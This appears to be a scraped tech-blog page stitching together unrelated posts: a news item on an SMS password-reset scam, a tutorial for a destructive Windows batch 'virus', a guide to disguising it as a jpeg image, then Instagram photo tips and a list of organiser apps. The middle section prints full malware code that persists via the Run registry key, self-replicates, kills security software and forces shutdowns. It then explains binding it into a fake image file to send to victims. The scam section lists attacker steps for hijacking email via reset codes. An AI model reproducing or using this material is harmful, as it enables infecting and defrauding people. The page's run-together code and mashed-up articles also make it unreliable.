This Simple Trick Requires Only Your Phone Number to Hack your Email Account

We all have been receiving spam phone calls and messages on almost daily basis from scammers who want to pilfer your money and personal information, but a new type of social engineering hack that makes use of just your mobile number to trick you is a little scarier.

Security firm Symantec is warning people about a new password recovery scam that tricks users into handing over their webmail account access to the attackers.

In order to get into your email account, an attacker does not need any coding or technical skills. All an attacker needs your email address in question and your cell phone number.

Since the process to reset the password is almost similar to all mail services, this new password recovery scam affects all popular webmail services including Gmail, Yahoo, and Outlook among others.

Symantec has provided a video explanation of how this new hack attack works. The trick is as simple as it sounds: if you want to reset someone’s email account password, all you actually need is their mobile number.

Here's How the Scam Works:

Send a text from an unknown number to the victim’s phone, asking them to verify their account by replying with the verification code they are about to receive in order to ensure their Google account is secure, but in real the code is a password resets code.

• Send another text message containing an unlock code to the registered phone.
• The victim receives the code with a text something like this: "This is Google. There has been unauthorized activity on your account. Please reply with your verification code."

• As soon as victim responds with the verification code, the email address is forfeited, and the attacker can log into victim’s Gmail account without detection.

This social engineering trick sounds so easy and requires almost no technical skills to get into anyone’s email account.

Most of us reply to the unknown phone calls and messages thinking it is from the company, as receiving messages and phone calls from companies is not something uncommon.

How to Hide a Virus inside of your Picture?

 

Creating a dangerous virus using notepad

Here I give you instructions of making a highly dangerous virus using notepad!!

This virus has very very dangerous properties :-1.Copy itself into startup

2.Copy itself over one thousand times into random spots in your computer.

3.Hide its self and all other created files

4.Task kill MSN, Norton, Windows Explorer, Limewire.
5.Swap the left mouse button with the right one
6.Opens alert boxes
7.Changes the time to 12:00 and shuts down the computercopy this code into notepad and save as Greatgame.bat (while saving select all files instead of text ).Here is the Code:

@Echo offcolor 4title 4title R.I.Pstartstartstartstart calccopy %0 %Systemroot%\Greatgame > nulreg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Greatgame /t REG_SZ/d %systemroot%\Greatgame.bat /f > nulcopy %0 *.bat > nulAttrib +r +h Greatgame.batAttrib +r +hRUNDLL32 USER32.DLL.SwapMouseButtonstart calcclstskill msnmsgrtskill LimeWiretskill iexploretskill NMainstartclscd %userprofile%\desktopcopy Greatgame.bat R.I.P.batcopy Greatgame.bat R.I.P.jpgcopy Greatgame.bat R.I.P.txtcopy Greatgame.bat R.I.P.execopy Greatgame.bat R.I.P.movcopy Greatgame.bat FixVirus.batcd %userprofile%My Documentscopy Greatgame.bat R.I.P.batcopy Greatgame.bat R.I.P.jpgcopy Greatgame.bat R.I.P.txtcopy Greatgame.bat R.I.P.execopy Greatgame.bat R.I.P.movcopy Greatgame.bat FixVirus.batstartstart calcclsmsg * R.I.Pmsg * R.I.Pshutdown -r -t 10 -c “VIRUS DETECTED”startstarttime 12:00:R.I.Pcd %usernameprofile%\desktopcopy Greatgame.bat %random%.batgoto RIP

You are done making virus .

PLEASE DON’T  TEST IT ON YOUR COMPUTER:-

This was tutorial for making a batch file virus using notepad.You can also change the name of virus , after copying this code in notepad press CTRL + F and replace all the occurring of the word “Greatgame” with the name of your choice , but u also have to change name of the file

Hide virus in image file

Here i’m explaining one method on how to hide virus in an image file. By using this trick, you can easily hide virus and keylogger in jpeg image file

If you want to hide virus, you will require following files:

I. Download the tools

1. Easy Binder. (free)
2. Image to Icon Converter. (free)
3. Icon Changer. (free)Download all the above files and now, you are ready to hide virus in jpeg.II. Creating an Icon: For this hack to work, you need an icon of image. Follow the steps below to create an icon:
1. Run Image to Icon Converter from downloaded files.

 Select the image in which you want to hide virus and then open this image in Image to icon converter. (Use image with size within 128 pixels. You can resize image using IrfanView. In IrfanView, Press Ctrl+R).- Now, click on 128 X 128 checkbox at bottom. Click on Size button and hit on 128 X 128.

2. Adjust image crop, if necessary. Hit on Make. Go to File -> Save and save it on your desktop for later use. Let this icon be “Icon.ico”.
III. Steps to hide virus:
1. Now, run Easy Binder.exe from file downloaded to see:

2. Click “+” button present at bottom pane, browse to your virus file named as Greatgame.bat file and add it. Again using same “+” button, add the image in which you want to hide virus.
3. Now, click on “Settings” present at top to see:

4. Now, click on button next to “Select an Icon” and browse to the “Icon.ico” file created in Step II.
5. Click on button next to “Set Output File” and enter the path where you want to save binded file. Hit on “File’s” tab in upper pane and then click on “Bind files”. Let this final file be “Binded.exe”.

NOTE: Now you got the virus file attached with an image file named “Binded.exe” and it will be detected by Anti virus, so you have to make it fully undetectable (FUD).
IV. Changing Extension and Icon:
1. After you are done with making your virus file FUD, Open My Computer and go to Tools -> Folder Options. Click on View tab and uncheck “Hide extension for known file types” and hit on OK.
2. Now, rename our “Binded.exe” to say “JessicaAlba.jpeg-JessicaAlba.com”
The format should be:
Imagename.jpeg – Any name.com
I have used JessicaAlba because I am using her image to hide my server.
3. Now, install Icon Changer on your computer obtained from downloaded files. Right click on our binded file and hit on “Change Icon”. Hit on Folder icon next to “Search icons in” as shown:

4. In the dialog box, click on Desktop and hit OK. Now, our Icon.ico will be displayed. Select it and hit on “Set”.

You will see your final virus like this:

Note: Usually, .exe extension creates a doubt in victim’s mind. So, we are using .com extension to fool victim. Usually, people don’t have knowledge of .com extension and out of “JessicaAlba.jpeg-Jessica1.com” they consider “JessicaAlba.jpeg” as image name with .jpeg as image extension. This fools the victim.
That’s it friends. We are successful to hide virus in a jpeg image. Now, send this binded image file to your victim and whenever he will run the image on his computer, your sent hidden virus will be installed on victim computer without his knowledge.

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Download Instagram Photos on your Desktop

 

1. Save Instagram photos while uploading (Mobile) 

To save your Instagram photos during the upload, you have to follow some pretty simple steps. Open Instagram app on your device and go to app settings by clicking on the hamburger symbol located at top right corner. Now find and enable Save Original Photos option. This will automatically save a copy of the image you upload on Instagram from next time.

2. Save Instagram photos without uploading (Mobile)

As most of us already know that the quality of photos taken and uploaded on Instagram are quite good, but what if you just want to click a picture, edit it using Instagram filters and keep it in the device. Instagram does not offer any direct method to save the clicked images to your device. So here is the method to save the picture without uploading:

• To save the photos without uploading first you need to make sure that you have enabled the Save Original Photos option as mentioned above.
• Now take the photo you wish to save in your device without uploading, and apply the filters to enhance the quality.
• Now go to the control center and turn Airplane mode on.
• Now return to the Instagram app and tap on the right tick symbol in order to upload the photo. The upload will obviously fail, but your photo will be saved to your device which you can access from your Gallery.

3. Save Instagram photos in your desktop

Saving your Instagram photos in your desktop is a little tricky process for those who don’t know about inspect element. Although it’s not very difficult and you can of-course snip the photo easily, but that will reduce the quality of your image. So here is the method to save the Instagram photo in your desktop without reducing its quality:

• Right click on the photo you want to save and then click on Inspect element.
• • This will bring a sidebar with some HTML code. Copy the code which is highlighted as blue, it will be enclosed in the src attribute.
    
  • Paste the URL in a tab and delete everything except the image code. Which starts with “https://” and end with “.jpg” and press enter
  • Your picture will be appeared that tab, right click and save it.

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13 Smartphone Apps That Will Organize Your Life Virtually

1. Grocery iQ (free)

This free app is available for iOS and Android users and is a must for your next trip to the grocery store. Not only does it organize your shopping list, it also lets you select your favorite place to shop and provides you with a price estimates of your purchase before you leave the house by aggregating local specials. It provides a really good platform to not only make sure you don’t forget anything at the store, but also a really good way to cut down on your grocery bill without giving up on some of your favorite foods.
 

2. Dropbox (free)

The cloud is a powerful thing, and apps like Dropbox allow users to truly unleash it’s incredible power and convenience.

Dropbox eliminates that worst-possible scenario when your computer blows up and takes all of your files down with it. You can access your files anywhere in the world, and even do so if you’re smart enough to download the mobile app for your tablet and smartphone.

The cloud is a powerful thing – use Dropbox to maximize its full potential.
 

3. Shoeboxed (free)

Unless you’re George Costanza, having a wallet full of receipts is not only incredibly inefficient, it can also be incredibly uncomfortable to sit on all day at work. Digitize all of your receipts with the Shoeboxed app, if you’re so inclined. Just take a picture, and store it onboard your favorite mobile device. If you’re feeling really techy, you can even send said files to your Dropbox account and keep them in the cloud!
 

4. Birthday Sweet (free)

There’s always that jerk that forgets a close friend’s birthday. Birthday Sweet wants to make sure you don’t ever become one of those people. The app imports your Facebook contacts and produces a picture, age and zodiac sign for everyone. You’ll be able to send personalized messages and greeting cards with a few quick clicks.
 

5. Namerick (free)

Have a problem remembering people’s names? Don’t worry you’re not alone, and the people behind Namerick have your back so you can avoid any embarrassing and potentially detrimental name-forgetting incidents. The app keeps track of the names of people you’ve just met by creating fun mnemonics (a learning technique that aids information retention in the human memory that aim to translate information into a form that the brain can retain better than its original form). Names can also be organized into categories and the app allows you to make note of any follow up plans you’ve made with the person.
 

6. ReQall (free)

Life moves fast these days, and it’s all too easy to forget even the simplest of things. Unfortunately, we can’t all afford a personal assistant, but there are ways to feel like we have one. Enter ReQall, an awesome app that organizes your tasks and sends you reminders about upcoming dates. It clumps togethers activities by location, so if you happen to be in close proximity of one task while you’re out tackling another, ReQall lets you know.
 

7. Evernote (free)

Virtual post-it notes? Yes, please. Another great way to keep your life organized digitally and keep note of critical information, Evernote is a great tool for keeping important information in one place and get at it in a way that’s super easy to navigate.
 

8. Full Contact Card Reader (free)

If you have too many business cards and you don’t know what to do with them, why not store them digitally on your phone? This app will scan your business cards and allow for easy access.
 

9. Cozi (free)

Have a big family and find it difficult to find time to spend time together? Get all your loved ones on Cozi. This is a great app that allows you to share your calendar with people you actually like spending time with so you can coordinate busy schedules. It’s also great for to-do lists, grocery shopping lists and recipes.
 

10. Sleep Time (free)

Never worry about waking up a big grump any longer. Sleep Time tracks your sleep patterns by analyzing how you move while you sleep, designs a custom alarm system and does its best to make sure you wake up feeling as rested and refreshed as possible.
 

11. My Fitness Pal (free)

Need to drop a few pounds or simply trying to live a healthier lifestyle? My Fitness Pal is a great to keep track of what you’re consuming, if you’re consuming the proper nutrients your body needs, and provides you with tools and tricks for weight loss to calculate how many calories you should be eating everyday to meet your weight loss goals. It’s also a great place to gather information on your favorite foods and to identify which ones you should be avoiding if you want to get rid of that “winter weight” you’ve been trying to get rid of for three years (like me).
 

12. Mint (free)

No one likes dealing with money, unless it involves spending it. In a perfect world, we’d all have enough money to spend it as we please on whatever we’d like. Sadly, the world is not a perfect place and keeping track of your cash is something most of us should be better at. Mint is a great way to track your finances virtually. Simply sync your bank and credit card accounts, and investment portfolios, and the app will help you set a monthly budget so you can easily keep track of expenses. It also provides customized tips to help you meet any financial goals you might have and even allows you to find out your credit score.

13. ClassManager (free)

For all those busy students out there, never worry about handing in an assignment late ever again with ClassManager. The app organizes your class schedules and sets reminders for upcoming assignments and tests.